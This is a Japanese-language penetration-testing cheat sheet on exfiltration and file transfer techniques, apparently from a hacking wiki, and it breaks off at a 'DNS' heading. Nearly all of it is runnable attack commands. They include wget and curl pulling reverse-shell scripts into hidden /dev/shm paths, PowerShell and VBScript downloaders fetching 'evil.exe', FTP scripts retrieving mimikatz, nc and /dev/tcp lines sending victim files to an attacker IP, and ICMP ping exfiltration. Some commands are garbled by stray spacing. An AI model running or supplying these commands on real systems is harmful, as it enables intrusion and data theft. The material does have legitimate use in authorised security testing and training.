情報を抽出するための一般的にホワイトリストに登録されたドメイン
https://lots-project.com/ をチェックして、悪用できる一般的にホワイトリストに登録されたドメインを見つけてください。
Copy&Paste Base64
Linux
Copy base64 -w0 < fil e > #Encode file
base64 -d file #Decode file
ウィンドウズ
Copy certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
HTTP
Linux
Copy wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
ウィンドウズ
Copy certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C: \d ownloads \e xamplefile.pdf
#PS
( New-Object Net.WebClient ) .DownloadFile( "http://10.10.14.2:80/taskkill.exe" , "C:\Windows\Temp\taskkill.exe" )
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
ファイルのアップロード
Copy # Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world
# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
HTTPSサーバー
Copy # from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:443
### PYTHON 2
import BaseHTTPServer , SimpleHTTPServer
import ssl
httpd = BaseHTTPServer . HTTPServer (( '0.0.0.0' , 443 ), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd . socket = ssl . wrap_socket (httpd.socket, certfile = './server.pem' , server_side = True )
httpd . serve_forever ()
###
### PYTHON3
from http . server import HTTPServer , BaseHTTPRequestHandler
import ssl
httpd = HTTPServer (( '0.0.0.0' , 443 ), BaseHTTPRequestHandler)
httpd . socket = ssl . wrap_socket (httpd.socket, certfile = "./server.pem" , server_side = True )
httpd . serve_forever ()
###
### USING FLASK
from flask import Flask , redirect , request
from urllib . parse import quote
app = Flask ( __name__ )
@app . route ( '/' )
def root ():
print (request. get_json ())
return "OK"
if __name__ == "__main__" :
app . run (ssl_context = 'adhoc' , debug = True , host = "0.0.0.0" , port = 8443 )
###
FTP
FTPサーバー (python)
Copy pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
FTPサーバー (NodeJS)
Copy sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
FTPサーバー (pure-ftp)
Copy apt-get update && apt-get install pure-ftp
Copy #Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
Windows クライアント
Copy #Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
SMB
Kaliをサーバーとして
Copy kali_op1 > impacket-smbserver -smb2support kali ` pwd ` # Share current directory
kali_op2 > smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test ` pwd `
または、samba を使用してsmb共有を作成します:
Copy apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
ウィンドウズ
Copy CMD-Wind > \\ 10.10.14.14 \p ath \t o \e xe
CMD-Wind > net use z: \\ 10.10.14.14 \t est /user:test test #For SMB using credentials
WindPS-1 > New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2 > cd new_disk:
SCP
攻撃者はSSHdを実行している必要があります。
Copy scp < usernam e > @ < Attacker_I P > : < director y > / < filenam e >
SSHFS
もし被害者がSSHを持っている場合、攻撃者は被害者のディレクトリを攻撃者にマウントすることができます。
Copy sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions < Target usernam e > @ < Target IP addres s > : < Full path to folde r > / /mnt/sshfs/
NC
Copy nc -lvnp 4444 > new_file
nc -vn < I P > 4444 < exfil_file
/dev/tcp
被害者からファイルをダウンロードする
Copy nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
被害者にファイルをアップロードする
Copy nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6 < /dev/tcp/10.10.10.10/4444
cat < & 6 > file.txt
@BinaryShadow_ に感謝します
ICMP
Copy # To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line ; do ping -c 1 -p $line < IP attacke r > ; done
#This will 4bytes per ping packet (you could probably increase this until 16)
Copy from scapy . all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet ( pkt ):
if pkt . haslayer (ICMP):
if pkt [ ICMP ]. type == 0 :
data = pkt [ ICMP ]. load [ - 4 :] #Read the 4bytes interesting
print ( f " { data. decode ( 'utf-8' ) } " , flush = True , end = "" )
sniff (iface = "tun0" , prn = process_packet)
SMTP
SMTPサーバーにデータを送信できる場合、Pythonを使用してデータを受信するためのSMTPを作成できます:
Copy sudo python -m smtpd -n -c DebuggingServer :25
TFTP
デフォルトではXPおよび2003で(他のものではインストール中に明示的に追加する必要があります)
Kaliで、TFTPサーバーを開始 :
Copy #I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
PythonでのTFTPサーバー:
Copy pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
被害者 で、Kaliサーバーに接続します:
Copy tftp -i < KALI-I P > get nc.exe
PHP
PHPのワンライナーでファイルをダウンロードする:
Copy echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
VBScript
Copy Attacker > python -m SimpleHTTPServer 80
被害者
Copy echo strUrl = WScript.Arguments.Item ( 0 ) > wget.vbs
echo StrFile = WScript.Arguments.Item ( 1 ) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject ( "WinHttp.WinHttpRequest.5.1" ) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject ( "WinHttp.WinHttpRequest" ) >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject ( "MSXML2.ServerXMLHTTP" ) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject ( "Microsoft.XMLHTTP" ) >> wget.vbs
echo http.Open "GET" , strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject ( "Scripting.FileSystemObject" ) >> wget.vbs
echo Set ts = fs.CreateTextFile ( StrFile, True ) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound ( varByteArray ) >> wget.vbs
echo ts.Write Chr ( 255 And Ascb ( Midb(varByteArray,lngCounter + 1, 1 ))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
Copy cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
Debug.exe
debug.exe
プログラムはバイナリの検査だけでなく、16進数からそれらを再構築する能力 も持っています。これは、バイナリの16進数を提供することによって、debug.exe
がバイナリファイルを生成できることを意味します。ただし、debug.exe には 最大64 kbのサイズのファイルをアセンブルする制限 があることに注意することが重要です。
Copy # Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
次に、テキストをウィンドウズシェルにコピー&ペーストすると、nc.exeというファイルが作成されます。
DNS